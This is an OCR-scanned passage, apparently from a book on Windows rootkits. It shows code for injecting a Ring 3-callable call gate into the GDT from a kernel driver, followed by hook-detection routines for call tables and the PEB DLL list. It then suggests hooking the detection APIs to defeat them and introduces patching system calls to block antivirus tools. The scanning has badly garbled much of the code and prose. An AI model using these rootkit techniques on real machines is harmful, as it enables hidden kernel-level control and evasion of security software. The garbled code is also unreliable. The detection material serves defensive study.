Decomposing the selector into its three constituent fields, we can see that this selector references the first "live" GDT entry (the initial entry in the GDT is a null descriptor) and references a Ring 0 segment. The basic algorithm behind this technique is pretty simple. The truly hard part is making sure that all of the fields of the structure are filled in correctly, and that the routine invoked by the call gate has the correct form. To create our own call gate, we take the following actions:
1.
2. 3. 4. 5.
Build a call gate that points to some routine. Read the GDTR register to locate the GDT. Locate an "empty" entry in the GDT. Save this original entry so you can restore it later. Insert your call-gate descriptor into this slot.
Our example here is going to be artificial because we're going to install the call gate from a KMD . I'll admit that this is sort of silly because if you've got access to a KMD, then you don't need a call gate to get access to Ring 0; you already have it through the driver! In the field, what really happens is some sneaky SOB finds a hole in Windows that allows him to install a call gate from user-mode code and execute a routine of his choosing with Ring 0 privilege (which is about as good as loading your own KMD as far as rooting a machine is concerned). The fact that the GDT is a lesser-used, low-profile call table is what makes this attractive as an
310
Port II
avenue for creating a trap-door into Ring O. As far as rootkits are concerned, this is what call-gate descriptors are good for.
>~Ole:
To keep this example simple, I'm assuming the case of a single processor. On a multi-processor computer, each CPU will have its own GDTR register. To handle multi-processor code, I'd advise recycling this functionality from the SYSENTER example. When I started working on this example, I didn't feel very confident with the scraps of information that I had scavenged from various dark corners of the Internet. Some of the Windows system lore that I dug up was rather dated; mummified almost. So I started by implementing a function that would simply traverse the GDT and dump out a summary almost identical to that provided by the dg kernel debugger command (making it easy for me to validate my code). This preliminary testing code is implemented as a function named
walkGDT( ). void walkGDT ()
{
oo,.,oRD nGDT; PSEG_DESCRIPTOR gdt; oo,.,oRD i; gdt = getGDTBaseAddress(); nGDT = getGDTSize(); Base Limit Type P Sz G Pr Sys"); DbgPrint (" Sel DbgPrint("-- -- -------- -------- ---- ------ - -- -- -- ---"); for(i=9;i <nGDT;i++)
{
This routine employs a couple of short utility functions that I reuse later on. These routines get the linear base address and size of the GDT (i.e., the number of descriptors). To this end, they include inline assembly code.
PSEG_DESCRIPTOR getGDTBaseAddress()
{
Part II 1311
GOTR gdtr;
{
SGOT gdtr; return(gdtr . nBytes/B); //each descriptor is 8 bytes in size }/*end getGOTSize()------------------------ ----- ------------- ----- --------- */
The GDTR register stores a 48-bit value, which the SGDT instruction places into a memory operand. We receive this data using the following structure:
#pragma pack(l) typedef struct _GOTR
{
Once I felt secure that I was on the right path, I implemented the code that installed the new call-gate descriptor. The basic chain of events is spelled out in the KMD's entry point.
NTSTATUS DriverEntry
(
CALL_GATE_DESCRIPTOR cg; calledFlag = axe; DBG_TRACE("Driver Entry","Establishing other DriverObject function pointers"); (*pOriverObject). DriverUnload = Unload ; walkGOT(); //display the original GOT
DBG_TRACE("Driver Entry","Injecting new call gate"); cg = buildCallGateBYTE*)CallGateProc); oldCG = injectCallGate(cg); walkGOT () ; / / display the modified GOT return(STATUS_SUCCESS); }/*end DriverEntry()------------------------------------------------------- */
In a nutshell, I build a new call gate and save the old one in a global variable named oldCG. Notice how I walk the GDT both before and after the process so that I can make sure that the correct entry in the GDT was modified.
3121 Part II
The global variable named called Flag is also a debugging aid. Originally, I wasn't even sure if the call-gate routine was being invoked. By initializing this variable to zero, and changing it to some other value within the body of the call-gate routine, I had a low-budget way to determine if the routine was called without having to go through all the fuss of cranking up a debugger. Restoring the GDT to its original form is as simple as injecting the old descriptor that we saved earlier.
injectCaIIGate(oldCG);
The call-gate descriptor that I build is prefabricated with the exception of the address of the Ring 0 routine, which the call gate invokes. I feed this address as a parameter to the routine that builds the descriptor. Once you've worked with enough system-level code you gain a special appreciation for bitwise manipulation, the shift operators in particular.
CALL_GATE_DESCRIPTOR buildCallGate(BYTE* procAddress)
{
IWlRD address; CALL_GATE_DESCRIPTOR cg; address = (1WlRD) procAddress; = KGDT_R0_COOE; liroutine is in Ring 0 code segment cg.selector cg.argCount = 0; lino arglJl1ents cg. zeroes = 0; I I always zero = 0xC; 1132-bit call gate (1100) cg.type cg.sFlag = 0; 110 = system descriptor cg.dpl = 0x3; Ilcan be called by Ring 3 code cg.pFlag = 1; Ilcode is in memory cg.offset_00_1S = (1()R{)(0xeeeeFFFF & address); = address 16; address cg.offset_16_31 = (1()R{)(0xeeeeFFFF & address); return ( cg); }/*end buildCaIIGate()---------------------------------------- ------ -- -----*1
I assume a very simple call-gate routine: it doesn't accept any arguments. If you want your routine to accept parameters from the caller, you'd need to modify the argCount field in the CALL_GATE_DESCRIPTOR structure. This field represents the number of double-word values that will be pushed onto the user-mode stack during a call and then copied over into the kernel-mode stack when the jump to Ring 0 occurs.
With regard to where you should insert your call-gate descriptor, there are a couple of different approaches you can use. For example, you can walk the GDT array from the bottom up and choose the first descriptor whose P flag is clear (indicating that the corresponding segment is not present in memory). Or, you can just pick a spot that you know won't be used and be done with it.
Part II
I 313
Looking at the GDT with a kernel debugger, it's pretty obvious that Microsoft uses less than 20 of the 120-some descriptors. In fact, everything after the 34th descriptor is "<Reserved>" (i.e., empty). Hence, I take the path of least resistance and use the latter of these two techniques. Like the Golden Gate Bridge, the GDT is one of those central elements of the infrastructure that doesn't change much (barring an earthquake). The operating system establishes it early in the boot cycle and then never alters it again. It's not like the process table, which constantly has members being added and removed. This means that locking the table to swap in a new descriptor isn't really necessary. This isn't a heavily trafficked part of kernel space. It's more like the financial district of San Francisco on a Sunday morning. If you're paranoid you can always add locking code, but my injection code doesn't request mutually exclusive access to the GDT.
CALL_GATE_DESCRIPTOR injectCaIIGate(CALL_GATE_DESCRIPTOR cg)
{
PSEG_DESCRIPTOR gdt; PSEG_DESCRIPTOR gdtEntry; PCALL_GATE_DESCRIPTOR oldCGPtr; CALL_GATE_DESCRIPTOR oldCG; gdt = getGDTBaseAddress();
= (PCALL_GATE_DESCRIPTOR)&(gdt[lOO]); oldCGPtr = *oldCGPtr; oldCG = (PSEG_DESCRIPTOR)&cg; gdtEntry = *gdtEntry; gdt[lOO] return(oldCG); }/*end injectCaIIGate()-------------------------------------- ------------- --*1
The call-gate routine, whose address is passed as an argument to buildCallGate ( ), is a naked routine. The "naked" Microsoft-specific storage class attribute causes the compiler to translate a function into machine code without emitting a prolog or an epilog. This allows me to use inline assembly code to build my own custom prolog and epilog snippets, which is necessary in this case.
void __declspec(naked) CaIIGateProc()
{
Ilprolog code
{
pushad; pushfd; cli; push fs; mov bX,0x30; mov fs,bx; push ds;
I I push EAX, ECX, EDX, EBX, EBP, ESP, ESI, EDI II push EFLAGS II disable interrupts II save FS II set FS to 0x30 selector
314
PorI II
= 9xCAFEBABEj
Ilepilog code
{
pop eSj pop dSj pop fSj stij popfdj popadj retfj
II restore ES I I restore OS I I restore FS II enable interrupts II restore registers pushed by pushfd II restore registers pushed by pushad II you may retf <sizeof arguments> if you pass arguments
The prolog and epilog code here is almost identical to the code used by the interrupt hook routine that was presented earlier. Disassembly of interrupt handling routines like nt! KiDebugService(), which handles interrupt (3x2D, will offer some insight into why things get done the way they do.
Kd> u ntlKiDebugService push 9 mov word ptr [esp+2J,9 push ebp push ebx push esi push edi push fs mov ebx, 39h mov fs, bx
The body of my call-gate routine does nothing more than invoke a routine that emits a message to the debugger console. It also changes the caUedFlag global variable to indicate that the function was indeed called (in the event that I don't have a kernel debugger up and running to catch the DbgPrint () statement).
void saySomething()
{
DbgPrint (""you are dealing with hell while running ringe) j returnj }/*end saySomething()------- --- -------------------------------------------- */
Invoking a call-gate routine from Ring 3 code involves making a far call, which the Visual Studio compiler doesn't really support as far as the C programming language is concerned. Hence, we need to rely on inline assembler and do it ourselves.
Po rt II
I 315
II
The hex memory dump of a far call in 32-bit protected mode looks something like:
[FF] [10] [6e] [75] [lC] [ee]
(low address
-'>-
Let's decompose this hex dump to see what it means in assembly code:
[FF][10][6e][75][lC][ee] [FF10 [CALL ] [exee1C756e ]
][Linear Address]
CALL m16:32
The destination address of the far call is stored as a 6-byte value in memory (a 32-bit offset followed by a 16-bit segment selector). The address of this 6-byte value is given by the CALL instruction's 32-bit immediate operand following the opcode (i.e., exee1C756e). The 6-byte value (also known as an FWORD) located at memory address exee1c756e will have the form :
exe32eeeeeeeee
In memory (given that IA-32 is a Iittle-endian platform), this will look like:
[ee] [ee] [ee] [ee] [2e] [e3]
(low address
-'>-
The first two words represent the offset address to the call-gate routine, assuming that you have a linear base address. The last word is a segment selector corresponding to the segment that contains the call-gate routine. As we found earlier, this is ex32e. You may wonder why the first two words are zero. How can an address offset be zero? As it turns out, because the call-gate descriptor, identified by the ex32e selector, stores the linear address of the routine, we don't need an offset address. The processor ignores the offset address even though it requires storage for an offset address in the CALL instruction. This is behavior is documented by Intel (see section 4.8.4 of Volume 3A), "To access a call gate, a far pointer to the gate is provided as a target operand in a CALL or JMP instruction. The segment selector from this pointer identifies the call gate ... the offset from the pointer is required, but not used or checked by the processor. (The offset can be set to any value.)" Hence, we can represent the destination address of the CALL instruction using an array of three unsigned shorts, named callOperand (see below). We can ignore the first two short values and set the third to the call-gate selector. Using a little inline assembly code, our far call looks like:
unsigned short callOperand[3]; void mainO
{
316
Port II
return;
As mentioned earlier, no arguments are passed to the call-gate routine in this case. If you wanted to pass arguments via the stack, you'd need to change the appropriate field in the descriptor (i.e., argCount) and also modify the Ring 3 invocation to look something like:
{
Furthermore, we know that the IRP major function array of a driver module should point to dispatch routines inside the module's memory image. We also know that entries in the IAT should reference memory locations inside certain DLLs. Programmatically, we can determine the load address of a module and its size. These two numbers delimit an acceptable address range for routines exported by the module. The telltale sign, then, that a hook has been installed consists of a call table entry that lies outside of the address range of its associated module (see Table 5-3).
Port II 1317
In kernel space, most of the routines that are attractive targets for hooking reside in the image of the executive (i.e., ntoskrnl. exe). In user space, the Windows API is spread out over a large set of system DLLs. This makes the code used to detect hooks more involved.
Table 5-3
Call Table IAT lOT MSR SSOT IRP Red Flag Condition An import table address lies outside of its designated OLL's address range. The address of the ex2E handler lies outside the ntoskrnl . exe module. The contents of the IA32_SYSENTER_EIP lies outside the ntoskrnl. exe module. Pointers to Nt*() routines lie outside the ntoskrnl. exe module. The addresses of dispatch functions lie outside the driver module's address range.
Normally, the SystemInformationClass argument is an element of the SYSTEM_INFORMATION_CLASS enumeration that dictates the form of the SystemInformation return parameter. (It's a void pointer, it could be referencing darn near anything.) The problem we face is that this enumeration (see winternl. h) isn't visible to KMD code because it isn't defined in the WDK header files.
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasiclnformation
= e,
318
Part II
SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemlookasideInformation = 45 } SYSTEM_INFORMATION_CLASS;
8,
To compound matters, the enumeration value that we need isn't even defined (notice the numeric gaps that exist from one element to the next in the previous definition). The value we're going to use is undocumented, so we'll represent it with a macro.
#define SystemModuleInformation 11
When this is fed into ZwQuerySystemInformation () as the SystemInformationClass parameter, the data structure returned via the SystemInformation pointer can be described in terms of the following declaration:
typedef struct _MODULE_ARRAY
{
nModules; element[);
This data structure represents all the modules currently loaded in memory. Each module will have a corresponding entry in the array of SYSTEM_ MODULE_INFORMATION structures. These structures hold the two or three key pieces of information that we need: the name of the module, its base address, and its size in bytes.
typedef struct _SYSTEM_MODULE_INFORMATION
{
UlONG Reserved(2); PVOID Base; //linear base address //size in bytes UlONG Size; UlONG Flags; USlfJRT Index; USlfJRT Unknown; USlfJRT loadCount; USlfJRT ModuleNameOffset; CHAR ImageName[SIZE_FIlENAME); //name of the module }SYSTEM_MODUlE_INFORMATION, *PSYSTEM_MODUlE_INFORMATION;
The following routine can be used to populate a MODULE_ARRAY structure and return its address.
Port II 1319
>
Notice how the first call to ZwQuerySystemlnformation() is used to determine how much memory we need to allocate in the paged pool. This way, when we actually request the list of modules, we have just the right amount of storage waiting to receive the information.
PMOOULE_ARRAY getModuleArray()
{
CWlRD nBytes; PMOOULE_ARRAY modArray; NTSTATUS ntStatus; //call to determine size of module list (in bytes) ZwQuerySystemlnformation
(
SystemModulelnformation, //SYSTEM_INFORMATION_CLASS SystemlnformationClass &nBytes, //PVOID Systemlnformation, a, //ULONG SystemlnformationLength, &nBytes //PULONG ReturnLength
);
//now that we know how big the list is, allocate memory to store it modArray = (PMOOULE_ARRAY)ExAllocatePool(PagedPool,nBytes); if(modArray==NULL){ return(NULL); }
//we now have what we need to actually get the info array ntStatus = ZwQuerySystemlnformation
(
a
);
if(!NT_SUCCESS(ntStatus
{
ExFreePool(modArray); return(r-uLL) ;
Once we have this list allocated, we can search through it for specific entries.
PSYSTEM_MODULE_INFORMATION getModulelnformation
(
320
ParI II
[W)R[)
i;
for(i=0;i*modArray).nModules;i++)
{
if(strcmp(imageName,*modArray).element[i).ImageName)==0)
{
return(&*modArray).element[i));
}
In the case of the SSDT, interrupt ax2E, and the IA32_SYSENTER_EIP MSR, the module of interest is the executive itself: ntoskrnl. exe. These call table values should all lie within the address range of this module.
#define NAME_NTOSKRNl ""\\SystemRoot\\system32\\ntkrnlpa.exe""
= 0;
RtlInitUnicodeString(&procName, l""KeSetAffinityThread""); KeSetAffinityThread = (KeSetAffinityThreadPtr) Ml6etSystemRoutineAddress (&procName) ; cpuBitMap = KeQueryActiveProcessors(); pKThread = KeGetCurrentThread(); DBG_TRACE(""checkAllMSRs"",.'Perfonning a sweep of all CPUS""); for(i = 0; i < nCPUS; i++)
{
ParI II 1321
We have each processor execute the following code. It gets the value of the appropriate MSR and then checks to see if this value lies in the address range of the ntoskrnl. exe module.
void checkOneMSR(PSYSTEM_MODULE_INFO RMATION mod)
{
MSR msr; rwlRO start; rwlRO end; start = (o,.,oRO)(*mod).Base; end = (start + (*mod) .Size) - 1; DBG_PRINT3("[checkOneMSR]: Module start=%a8x\tend=%a8x\n",start,end); getMSR(IA32_SYSENTER_EIP, &msr); DBG_PRINT2 ( " [ checkOneMSR]: MSR value=%a8x", msr .1oValue) ; ifmsr.loValue < start): : (msr.loValue > end
{
322
Po rl "
RtlInitUnicodeString(&procName, L"KeSetAffinityThread"); KeSetAffinityThread = (KeSetAffinityThreadptr)MmGetSystemRoutineAddress(&procName); cpuBitMap = KeQueryActiveProcessors(); pKThread = KeGetCurrentThread(); DBG_TRACE("checkAllInt2E","Perfonning a sweep of all CPUs"); for(i = 0; i < nCPUS; i++)
{
The checking code executed on each processor is fairly straightforward and reuses several of the utility functions and declarations that we used for hooking (like the makeDWORD() routine, the !DTR structure, and the !DT_DESCRIPTOR structure). We start by dumping the !DTR system register to get the base address of the IDT. Then we look at the address stored in entry ax2E of the IDT and compare it against the address range of the ntoskrnl. exe module.
void checkDnelnt2E(PSYSTEM_MODULE_INFORMATION mod)
{
IDTR idtr; PIDT_DESCRIPTOR idt; DWORD addressISR; DWORD start; OnORD end; start = (OnORD)(*mod). Base; end = (start + (*mod) .Size) - 1; DBG_PRINT3("[checkDnelnt2E): Module start=%08x\tend=%08x\n",start,end); _ asm
cli; sidt idtr; sti;
Port II 1323
addressISR = makeOWORD
(
idt[SYSTEM_SERVICE_VECTOR).offset16_31, idt[SYSTEM_SERVICE_VECTOR).offset00_15
);
DWORD *KiServiceTable; DWORD *CounterBaseTable; DWORD nSystemCalls; DWORD *KiArgumentTable; } SDE, *PSDE; #pragma pack ()
DWORD* ssdt; DWORD nCalls; DWORD i; DWORD start; DWORD end; start = (DWORD)mod.Base; end = (start + mod.Size) - 1; ssdt = (BYTE*)KeServiceDescriptorTable.KiServiceTable;
3241 Part II
DBG_PRINT3("[checkSSDT]: caU[%03u] = %08x\n",i, *ssdt); if*ssdt < start): : (*ssdt > end
{
If a KMD has been set up to handle a specific type of IRP, it will define routines to do so and these routines will be registered in the MajorFunction call table. Call table entries that have not been initialized will point to a default routine defined within the memory image of ntoskrnl. exe (i.e., the IoplnvalidDeviceRequest function). If neither of the previous two cases holds, then in all likelihood the call table entry has been hooked.
We start the process off by specifying a driver and the device name corresponding to the driver, and locating the position of the driver's memory Image.
#define NAME_DRIVER Io.OIAR devNameBuffer[] "\\SystemRoot\\System32\\Drivers\\Beep.SYS" = L"\\Device\\Beep";
The most complicated part of checking the MajorFunction call table is getting its address. The steps we go through are very similar to those we took to
Po rl II
I 325
inject a hook (e.g., we specify the device name to obtain a reference to the corresponding device object, which we then use to get our hands on a pointer to the driver's memory image, yada yada yada). Once we have a reference to the MajorFunction call table, the rest is fairly academic. The only tricky part is remembering to dereference the FILE_OBJECT (which indirectly dereferences the DEVICE_OBJECT) in our checking program's Unload () routine so that driver under observation can also be unloaded.
hooked File; PDEVICE_OBJECT hookedDevice; PDRIVER_OBJECT hookedDriver; void checkDriver(SYSTEM_MODULE_INFORMATION mod, WCHAR* name)
{
NTSTATUS ntStatus; UNICODE_STRING deviceName; [W)RD i; o,..oRD start; o,..oRD end; start; ([W)RD) mod . Base; end ; (start + mod.Size) - 1; DBG_PRINT3("[checkDriver]: Module start;%e8x\tend;%e8x\n",start,end); hooked File hookedDevice hookedDriver ; NULL; ; NULL; = NULL;
if(!NT_SUCCESS(ntStatus))
{
326
Po rl II
H(address)
{
else DBG_PRINT3("[checkDriver):IRP[%93u)=%98x",i,address);
II handle to process Ilhandles to loaded DLLs Iinumber of loaded DLLs III element per DLL
~LE_LIST, * ~LE_LIST;
This structure stores a handle to the process and the DLLs that it uses. The metadata that we're going to use is stored as an array of MODULE_DATA structures, where each element in the array corresponds to a loaded DLL.
#define SZ_FILE_NAME 512 typedef struct _~LE_DATA
{
Port"
I 327
II
{
The MODULE_DATA structure wraps the DLL filename and yet another structure that holds address information for the DLI:s memory image (its base address, size in bytes, and the address of its entry point function).
typedef struct _MOOULEINFO LPVOID lpBaseOfDll; DWORD SizeOflmage; LPVOID EntryPoint; } MOOULEINFO, *LPMODULEINFO; / / linear base address / / size of the image (in bytes) // linear address of the entry point routine
We begin to populate the MODULE_LIST structure by invoking the EnumProcessModules () routine. Given the handle to the current process, this function returns an array of handles to the DLLs that the process is accessing. The problem is that we don't know how big this list is going to be. The solution, which is not very elegant, is to allocate a large list (via the MAX_DLLs macro) and pray that it's big enough.
void buildModuleList(PMODULE_LIST list)
{
BOOL retVal; DWORD bytesNeeded ; (*list).handleProc = GetCurrentProcess(); retVal = EnumProcessModules (*list ) .handleProc, (*list).handleDLLs, (DWORD)MAX_DLLS*sizeof(HMODULE), &bytesNeeded
); if (retVal==0)
(*list).nDLLs = 0; return;
}
(*list) .moduleArray = (PMODULE_DATA)malloc(sizeof(MOOULE_DATA) * *list) .nDLLs; buildModuleArray(list); return; }/*end buildModuleList() --------------------------- - -------- - ------------ - -*/
328
PorI II
As an output parameter, the EnumProcessModule() routine also returns the size of the DLL handle list in bytes. We can use this value to determine the number of DLLs imported. Once we know the number of DLLs being accessed, we can allocate memory for the MODULE_DATA array and populate it using the buildModuleArray() routine below. Everything that we need to populate the MODULE_DATA array is already in the MODULE_LIST structure. For example, given a handle to the current process and a handle to a DLL, we can determine the name of the DLL using the GetModuleFileNameEx() API call. Using this same information, we can also recover the memory parameters of the corresponding DLL by invoking the GetModulelnformation() function.
void buildModuleArray(PMODULE_LIST list)
{
if(nBytesCopied==e)
{
printfC' [buildModuleArray] : handleDLLs[%d] GetModuleFnameO failed", i); *list) .moduleArray[i]). fileName[e]=' \e' ;
);
if(retVal==e)
{
printf(" [buildModuleArray]: handleDLLs[%d] GetModulelnfoO failed" ,i); *list).moduleArray[i)).dlllnfo.lpBaseOfDll=e; *list).moduleArray[i)).dlllnfo.SizeOflmage=0; *list).moduleArray[i)).dlllnfo.EntryPoint =e; (*list).moduleArray[i].dlllnfo = modlnfo;
Po rl II
I 329
BYTE Reservedl[2]; BYTE BeingDebugged; BYTE Reserved2[229]; PVOID Reserved3[59]; ULONG SessionId; } PEB, *PPEB;
> No.e:
As you can see, there are a lot of "Reserved" fields and the odd void pointer. This is one way that Microsoft tries to obfuscate the makeup of system structures. Fortunately the SDK documentation provides an alternate description that offers more to grab hold of.
typedef struct _PEB
{
BYTE Reservedl[2]; BYTE BeingDebugged; BYTE Reserved2[9]; PPEB_LDR_DATA LoaderData; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; BYTE Reserved3[448]; ULONG SessionId; } PEB, *PPEB;
330
Port II
Because this definition conflicts with the one in the winternl. h header file, I sidestepped the issue by creating my own structure (MY_PEB) that abides by the SDK's definition. At the end of the day, a structure is just a contiguous blob of data in memory. You can impose whatever format you want as long as the total number of bytes remains the same. This is what will allow me to work with my own private structure as opposed to one specified in the Microsoft header files. There are two fields of interest in MY_PEB: LoaderData and ProcessParameters. The ProcessParameters field is a structure that stores, in addition to more reserved fields, the path to the application's binary and the command line used to invoke it.
typedef struct _RTl_USER_PROCESS_PARAMETERS
{
BYTE Reservedl[56]; UNICODE_STRING ImagePathName; UNICODE_STRING Commandline; BYTE Reserved2[92]; } RTl_USER_PROCESS_PARAMETERS, *PRTl_USER_PROCESS_PARAMETERS;
The LoaderData field is where things get interesting. This field is a pointer to the following structure:
typedef struct _PEB_lDR_DATA
{
The first two members of this structure are undocumented. Lucky for us, the third element is the one that we're interested in. It contains a subfield named Flink, which is a pointer to a structure named LDR_DATA_TABLE_ENTRY. Though, as you'll see, there are subtle nuances in terms of how Flink references this structure.
typedef struct _lDR_DATA_TABlE_ENTRY { BYTE Reservedl[B]; lIST_ENTRY InMemoryOrderlinks; BYTE Reserved2[B]; PVOID DllBase; / /base address BYTE Reserved3[B]; UNICODE_STRING FullDllName; //name of Dll BYTE Reservecl4[2e]; UlOOG CheckSl.Il1; UlOOG TimeDateStamp; BYTE Reserved5[12]; } lDR_DATA_TABlE_ENTRY, *PlDR_DATA_TABlE_ENTRY;
Part II
1331
This structure is the paydirt we've been hunting after. It contains both the name of the DLL and the linear base address at which the DLL is loaded (in the FullDllName and DllBase fields, respectively). The LDR_DATA_TABLE_ENTRY structure contains a field named InMemoryOrderLinks. This is a pointer to a doubly-linked list where each element in the list describes a DLL loaded by the application. If you look in the SDK documentation, you'll see that a LIST_ENTRY structure has the form:
typedef struct _LIST_ENTRY
{
You may be asking yourself: "Hey, all I see is a couple of pointers. Where's all of the DLL metadata?" This is a reasonable question. The linked-list convention used by Windows system structures confuses a lot of people. As it turns out, these LIST_ENTRY structures are embedded as fields in larger structures (see Figure 5-9). In our case, this LIST_ENTRY structure is embedded in a structure of type LDR_DATA_TABLE_ENTRY. As you can see in the structure definition, the LIST_ENTRY structure is located exactly eight bytes beyond the first byte of the structure. The first eight bytes are consumed by a reserved field.
Offset
...... L
LIST_ENTRY
LIST_ENTRY
I I
FLINK BLINK
II I
FLINK BLINK
I
I
Figure 5-9
3321 Port II
The crucial fact that you need to remember is that the Flink and Blink pointers do not reference the first byte of the adjacent structures. Instead, they reference the address of the adjacent LIST_ENTRY structures. The address of each LIST_ENTRY structure also happens to be the address of the LIST_ENTRY's first member; the Flink field. To get the address of the adjacent structure, you need to subtract the byte offset of the LIST_ENTRY field within the structure from the address of the adjacent LIST_ENTRY structure. As you can see in Figure 5-10, a Flink pointer referencing this structure would store the value ex77bceees. To get the address of the structure (ex77bceeeee), you'd need to subtract the byte offset of the LIST_ENTRY from the Flink address.
LDR- DATA- TABLE - ENTRY
Ox77bcOOOO
Reservedl[8j
j
Ox77bcOOOO8
Flink
1
Blink
II
1
Figure 5-10
BYTE *address; address = (BYTE*)*ptr).InMemoryOrderLinks).Flink; address = address - LIST_ENTRY_OFFSET; returnPLDR_DATA_TABLE_ENTRY)address); }/*end getNextLdrDataTableEntry()------------------------------- ----------- */
Part II
1333
Once you realize how this works, it's a snap. The hard part is getting past the instinctive mindset instilled by most computer science courses where linked list pointers always store the address of the first byte of the next/previous list element. To walk this doubly-linked list and acquire the targeted information, we need to get our hands on a PEB. It just so happens that there's a system call we can invoke named NtQuerylnformationProcessO. If you feed this routine the ProcessBasiclnformation value (which is member of the PROCESS INFOCLASS enumeration) as its first argument, it will return a pointer to a PROCESS_BASIC_INFORMATION structure.
typedef struct _PROCESS_BASIC_INFORMATION
{
PVOID Reserved1j PPEB PebBaseAddressj PVOID Reserved2[2]j UlONG_PTR UniqueProcessldj PVOID Reserved3j } PROCESS_BASIC_INFORMATIONj
This structure stores the process ID of the executing application and a pointer to its PEB (i.e., the PebBaseAddress field). There are other fields also; it's just that Microsoft doesn't want you to know about them. Hence the other three fields are given completely ambiguous names and set to be void pointers (to minimize the amount of information that they have to leak to us and still have things work). To access the PEB using NtQuerylnformationProcess ( ) , the following code may be used:
typedef NTSTATUS (WINAPI *NtQuerylnformationProcessPtr)
(
HANDLE ProcessHandle, PROCESSINFOCLASS ProcesslnformationClass, PVOID Processlnformation, UlONG Processlnformationlength, PUlONG Returnlength
) j
PEB* getPEBO
{
HMODUlE handleDllj NtQuerylnformationProcessPtr NtQuerylnformationProcessj NTSTATUS ntStatusj PROCESS_BASIC_INFORMATION basiclnfoj handleDll = loadlibraryA( "ntdll.dll") j if(handleDll==NUll){ return(NUll)j } NtQuerylnformationProcess = (NtQuerylnformationProcessPtr)GetProcAddress
334
Po rl II
handleOLL, "NtQuerylnfonnationProcess"
);
Once we have a reference to the PEB in hand, we can recast it as a reference to a structure of type MY_PEB and then feed it to the walkDLLList () routine. This will display the DLLs used by an application and their base addresses. Naturally this code could be refactored and used for other purposes.
void walkDLLList(MV_PEB* mpeb)
{
PPEB_LDR_DATA loaderData; BYTE* address; PLDR_DATA_TABLE_ENTRY curr; PLDR_DATA_TABLE_ENTRY first; [W)R[) nDLLs; loaderData = (*mpeb).LoaderData; address = (BYTE*)*loaderData).InMemoryOrderModuleList) . Flink; address = address - LIST_ENTRY_DFFSET; first = (PLDR_DATA_TABLE_ENTRY)address; curr = first; nDLLs=0; do
{
nDLLs++; printDLLlnfo(curr); curr = getNextLdrDataTableEntry(curr); if( [W)R[)( *curr) . DllBase)==0)break; }while(curr != first); printf("[walkDLLList]: nDLLs=%u\n",nDLLs); return; }/*end walkDLLList()------------------------- ---- --------- ---- ------------- */
In the code above, we start by accessing the PEB's PEB_LOR_DATA field, whose Flink pointer directs us to the first element in the doubly-linked list of LDR_DATA_TABLE_ENTRY structures. As explained earlier, the address that we initially acquire has to be adjusted in order to point to the first byte of the
Po rl II
I 335
LDR_DATA_TABLE_ENTRY structure. Then we simply walk the linked list until we either end up at the beginning or encounter a terminating element that is flagged as such. In this case, the terminating element has a DLL base address of zero.
BYTE Reservedl[1952]j PVOID Reserved2[412] j PVOID Tls510ts [64] j BYTE Reserved3[8]j PVOID Reserved4[26] j PVOID ReservedForOlej PVOID Reserved5[4]j PVOID TlsExpansionSlotsj } TEB, *PTEBj
336
Po r' II
As you can see, a reference to the PEB exists at an offset of 48 bytes from the start of the TEE. Thus, to get the address of the PEB we can replace the original getPEB() routine with a surprisingly small snippet of assembly code.
PEB* getPEBWithASM()
{
5.4 Counter-Countermeasures
Just because there are effective ways to detect hooking doesn't necessarily mean that you're sunk. As in Gong Fu, for every technique there is a counter. If you can load your code before the other guy, then you can obstruct his efforts to detect you. The early bird gets the worm. This is particularly true when it comes to forensic "live analysis," which is performed on a machine while it's running. Almost all of the kernel-mode hook detection methods discussed so far have used the ZwQuerySystemlnformationO system call to determine the address range of the ntoskrnl. exe module. User-mode hook detection (see Table 5-4) uses its own small set of API calls to determine which DLLs an application uses and where they're located in memory.
Table 5-4
R egion . Hook Detection API
Detection software that relies on system calls like those in Table 5-4 is vulnerable to the very techniques that it's intended to expose. There's nothing to stop your rootkit from hooking these routines so that they are rendered inert.
ParI II 1337
Detection software can, in turn, avoid this fate by manually walking system data structures (essentially implementing its own functionality from scratch) to extract relevant module information. We saw an example of this in the last section, where the address of the PEB was obtained with the help of a little assembly code. This is a general theme that will recur throughout the book. To avoid subversion, a detection application must pursue a certain level of independence by implementing as much as it can on its own (as native system routines may already be subverted). One might see offline disk analysis as the ultimate expression of this rule, where the analyst uses nothing save his own set of trusted binaries. How far can we take the attack/counterattack tango? For the sake of argument, let's examine a worst-case scenario. Let's assume that the hook detection software doesn't rely on any external libraries. It parses the necessary system data structures and implements everything that it needs on its own. How can we foil its ability to detect hooks? In this case, we could attack the algorithm that the hook detection software uses. The detection software checks to see if the call table entries lie within the address scope of a given module. If we can implement our hooks while keeping call table entries within the required range, we may stand a chance of remaining hidden. Okay, so how do we do this? One way is to move the location of our hook, which is to say that we leave the call table alone and modify the code that it points to. Perhaps we can insert jump instructions that divert the execution path to subversion code that we've written. This technique is known as detour patching, which I introduce in the next chapter.
3381 ParI II
Chapter 6
01010010, 01101111, 01101111, 01110100, 01101011, 01101001, 01110100, 01110011, ool0000e, 01000011, 01001000, 00110110
Data In the previous chapter we navigated through a catalog of different system call tables (which are relatively static data structures) and the techniques used to alter them. The inherent shortcomings of hooking led us to consider new ways to reroute program control. In this chapter we'll look at a more sophisticated technique that commandeers the execution path by modifying system call instructions. Hence, we're now officially passing beyond the comfort threshold of most developers and into the domain of system software (e.g., machine encoding, stack frames, and the like). In this chapter we're going to do things that we're definitely not intended to do. In other words, things will start getting complicated. While the core mechanics of hooking were relatively simple (i.e., swapping function pointers), the material in this chapter is much more demanding and not so programmatically clean. At the same time the payoff is much higher. By modifying a system call directly we can do all of the things we did with hooking, namely: Block calls made by certain applications (i.e., antivirus or anti-spyware) Replace entire routines Trace system calls by intercepting input parameters Filter output parameters
Furthermore, instruction patching offers additional flexibility and security. Using this technique, we can modify any kernel-mode routine because the
339
code that we alter doesn't necessarily have to be registered in a call table. In addition, patch detection is nowhere near as straightforward as it was with hooking.
lido something
}
340 I Part II
$LN2@routine:
Let's assume that we want to change this code so that the instructions defined inside the if clause (the ones that "do something") are always executed. To institute this change, we focus on the conditional jump statement. Its machine encoding should look like:
je SHORT $LN2@nain -+ 8x74 8x24
To disable this jump statement, we simply replace it with a couple of NOP statements.
